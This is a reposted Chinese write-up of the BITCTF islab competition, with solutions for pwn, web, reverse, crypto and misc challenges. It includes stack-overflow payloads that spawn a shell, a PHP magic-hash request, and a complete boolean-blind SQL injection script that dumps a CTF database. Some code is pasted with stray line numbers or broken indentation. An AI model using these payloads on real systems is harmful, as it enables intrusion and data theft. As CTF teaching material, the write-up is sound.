BITCTF.islab Writeup

转载

a6812952 于 2019-01-02 21:30:00 发布 52 收藏
文章标签： python php shell
原文链接：http://www.cnblogs.com/stevechekblain/p/10211423.html

0x0 前言

第一次参加 CTF，还是挺兴奋的。

0x1 Pwn

0x10 Casino1.0

下载目标程序，IDA反编译发现gets栈溢出漏洞，构造 payload 字符串 `print "A"*208` 成功覆盖指定变量，得到 flag1

0x11 Casino2.0

小游戏中对于下注金额未做范围检验，输入 –1000 即可通过，得到 flag2

0x12 Casino3.0

发现程序给出了指向 `system("/bin/bash")` 的地址，exp.py 中构造 payload 字符串 `"A"*208 + p64(address+4)*10` 即可获取shell，cat f1ag 得到 flag3

0x13 Donate

不会做

0x2 Web

0x20 click me!

Console 构造与原函数相同函数，递归调用即可，得到 flag

0x21 easy sqli

nmap 即可脱库，直接 select 得到 flag

0x22 easy php

构造请求 example.com/?a=240610708&b=QNKCDZO&c=php://input，请求体中为 `waterquestion` 即可得到 flag

0x23 easy flask

Console 截留请求，解析 flask session 即可获得验证码明文，得到 flag，代码见下：

```python
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))
```

0x24 (not) easy sqli

布尔盲注，正确返回TAT，错误返回QAQ， python 位运算即可获取 flag，需要注意的是这里使用了 varchar 保存 utf-8 字符串，所以直接获取无效，使用 hex 函数转换为16进制即可，代码见下：

```python
import requests


def getdb():
    result = ""
    url_template = "http://islab.tk:11003/?id=1 and ascii(substr((select table_schema from information_schema.schemata limit {0},1),{1},1))%26{2}"
    #chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    for k in range(0, 50):
        print("record #" + str(k+1))
        result = ""
        for i in range(50):
            #print(i+1)
            char_ascii = 0
            for j in range(8):
                url = url_template.format(k, i+1, 1<<j)
                #print(url)
```

```
                response = requests.get(url)
                #print(response.text)
                if "TAT" in response.text:
                    #print(1<<j)
                    char_ascii = char_ascii + (1<<j)
            char = chr(char_ascii)
            #print('"' + char + '": ' + str(char_ascii))
            result = result + char
            if char_ascii == 0:
                break;
        print(result)
        if result == "\0":
            break;


def gettable():
    result = ""
    url_template = "http://islab.tk:11003/?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))%26{2}"
    #chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    for k in range(0, 50):
        print("record #" + str(k+1))
        result = ""
        for i in range(50):
            #print(i+1)
            char_ascii = 0
            for j in range(8):
                url = url_template.format(k, i+1, 1<<j)
                #print(url)
                response = requests.get(url)
                #print(response.text)
                if "TAT" in response.text:
                    #print(1<<j)
                    char_ascii = char_ascii + (1<<j)
            char = chr(char_ascii)
            #print('"' + char + '": ' + str(char_ascii))
            result = result + char
            if char_ascii == 0:
                break;
        print(result)
        if result == "\0":
            break;


def getcolumn():
    result = ""
    url_template = "http://islab.tk:11003/?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='islab' limit {0},1),{1},1))%26{2}"

    for k in range(0, 50):
        print("record #" + str(k+1))
        result = ""
        for i in range(50):
            #print(i+1)
            char_ascii = 0
            for j in range(8):
                url = url_template.format(k, i+1, 1<<j)
                #print(url)
                response = requests.get(url)
                #print(response.text)
```

```
                if "TAT" in response.text:
                    #print(1<<j)
                    char_ascii = char_ascii + (1<<j)
            char = chr(char_ascii)
            #print('"' + char + '": ' + str(char_ascii))
            result = result + char
            if char_ascii == 0:
                break;
        print(result)
        if result == "\0":
            break;


def getdata():
     result = ""
     url_template = "http://islab.tk:11003/?id=1 and ascii(substr(hex((select flag from flag limit {0},1)),{1},1))%26{2}"

    for k in range(50):
        print("record #" + str(k+1))
        result = ""
        for i in range(400):
            #print(i+1)
            char_ascii = 0
            for j in range(8):
                url = url_template.format(k, i+1, 1<<j)
                #print(url)
                response = requests.get(url)
                #print(response.text)
                if "TAT" in response.text:
                    #print(1<<j)
                    char_ascii = char_ascii + (1<<j)
            char = chr(char_ascii)
            #print('"' + char + '": ' + str(char_ascii))
            result = result + char
            if char_ascii == 0:
                break;
        print(result)
        if result == "\0":
            break;


getdata()
```

0x25 master of php

不会做

0x3 Reverse

0x30 Guess my number

IDA 载入得到 key，直接输入即可得到 flag

0x31 just try

IDA 载入发现 MD5，dump 出来发现是带有星号的掩码，python 爆破即可得到 flag，代码见下：

```python
from hashlib import md5

s = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
s1 = "5173187b79435c8c"
s2 = "2fab0cf63dc7"

def check(stmp):
    res = md5(stmp.encode()).hexdigest()
    return res[0:len(s1)] + res[len(s1)+4:] == s1 + s2

rtmp = md5("1234".encode()).hexdigest()
print(rtmp)
print(rtmp[0:len(s1)])
print(rtmp[len(s1)+4:])

for i1 in range(62):
    print(s[i1])
    for i2 in range(62):
        for i3 in range(62):
            for i4 in range(62):
                snow = s[i1] + s[i2] + s[i3] + s[i4]
                if check(snow):
                    print("Found: " + snow)

                    break
```

0x32 simple re

IDA 反编译，然后直接写出反向代码即可得到 flag，代码见下：

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char s[1000];
char secret[100] = "fE}V1nc1ny3&r1egr&_.fp..h_ao{0_sal";
int key[100] = {1, 6, 0x21, 0, 0x11, 0x12, 0x10, 0x0A, 3, 2, 0x0B, 0x0D, 0x14, 0x16, 0x0E, 8, 0x0F,
0x0C, 9, 0x1E, 0x17, 0x13, 0x20, 0x1F, 0x1A, 0x15, 0x1C, 4, 5, 7, 0x18, 0x19, 0x1B, 0x1D};

char *__cdecl encode1(char *s)
{
    int i; // [rsp+2Ch] [rbp-54h]
    const char *sa; // [rsp+50h] [rbp-30h]
    char *c;

   sa = s;
    c = (char *)malloc(35);
    strcpy(c, sa);
    /*
    for ( i = 0; i < strlen(c); ++i )
    {
      if ( c[i] <= 64 || c[i] > 90 )
      {
        if ( c[i] > 96 && c[i] <= 122 )
          c[i] = (c[i] - 84) % 26 + 97;
```

```
24          c[i] = (c[i] - 84) % 26 + 97;
25      }
26      else
27      {
28        c[i] = (c[i] - 52) % 26 + 65;
29      }
30    }
31    */
32
33      for ( i = 0; i < strlen(c); ++i ) {
34          if ( c[i] < 65 || c[i] > 90 ) {         // c[i] is not upper case
35              if ( c[i] >= 97 && c[i] <= 122 )    // c[i] is lower case
36                  c[i] = (c[i] - 84) % 26 + 97;
37          } else {                                // c[i] is upper case
38              c[i] = (c[i] - 52) % 26 + 65;
39          }
40      }
41
42    puts(c);
43    return c;
44 }
45
46 char conv (char ch) {
47      char c;
48      c = ch;
49      if ( c < 65 || c > 90 ) {         // c[i] is not upper case
50          if ( c >= 97 && c <= 122 )    // c[i] is lower case
51              c = (c - 84) % 26 + 97;
52      } else {                                // c[i] is upper case
53          c = (c - 52) % 26 + 65;
54      }
55      return c;
56 }
57
58 char inv_conv[256];
59
60 char * decode1(char *raw) {
61      char *ret;
62      int i;
63      ret = (char *)malloc(35);
64      //strcpy(ret, raw);
65
66      for (i=0; i<256; ++i)
67          inv_conv[conv(i)] = i;
68
69     for (i=0; i<strlen(raw); ++i)
70          ret[i] = inv_conv[raw[i]];
71
72     ret[strlen(raw)] = 0;
73      return ret;
74 }
75
76 char *__cdecl encode2(char *b)
77 {
78    char *v1; // rbx
79    int i; // [rsp+2Ch] [rbp-54h]
80    const char *ba; // [rsp+50h] [rbp-30h]
81    char *d;
82
83   ba = b;
```

```
  d = (char *)malloc(35);
  for ( i = 0; i < strlen(ba); ++i )
    d[i] = ba[key[i]];
  v1 = d;
  v1[strlen(ba)] = 0;
  return d;
}

char * decode2(char *raw) {
    char *ret;
    int i;
    ret = (char *)malloc(35);
    for ( i = 0; i < strlen(raw); ++i )
    ret[key[i]] = raw[i];
    ret[strlen(raw)] = 0;
    return ret;
}

int __cdecl check(char *a)
{
  char *v2; // rax
  const char *x; // ST28_8
  char *aa; // [rsp+40h] [rbp+10h]

 aa = a;
  if ( strlen(a) != 34 )
    return 0;
  v2 = encode1(aa);
  x = encode2(v2);
  puts(x);
  return strcmp(x, secret) == 0;
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
    char *p1, *p2;
    p1 = decode2(secret);
    printf("%s\n", p1);
    p2 = decode1(p1);
    printf("%s\n", p2);

    printf("Please input your flag: ");
    gets(s);
    if ( check(s) != 0 )
        puts("Right!");
    else
        puts("Wrong!");
    return 0;
}
```

0x4 Misc

0x40 签到

略

0x41 fun with zip

有800层， python 解压即可，最后一层有加密，密码是群中某位学长的 QQ，即可得到 flag

0x42 miscxxx

忽略 zip 伪加密，解压得到 jpg 图片，binwalk 提取出 png，发现尺寸 CRC 校验错误，把高度改为1000即可得到 flag

0x5 Crypto

0x51 baby rsa

yafu 分解质因数，直接计算RSA 私钥即可得到 flag

0x52 fake rsa

RSA 在 e=2 时变为 Rabin 加密，直接计算即可得到 flag

0x53 guess

读取 RSA 掩码，爆破获得 key，使用 1000 作为 magic_number，按数位分解即可获得原数组，输入得到 flag

转载于:https://www.cnblogs.com/stevechekblain/p/10211423.html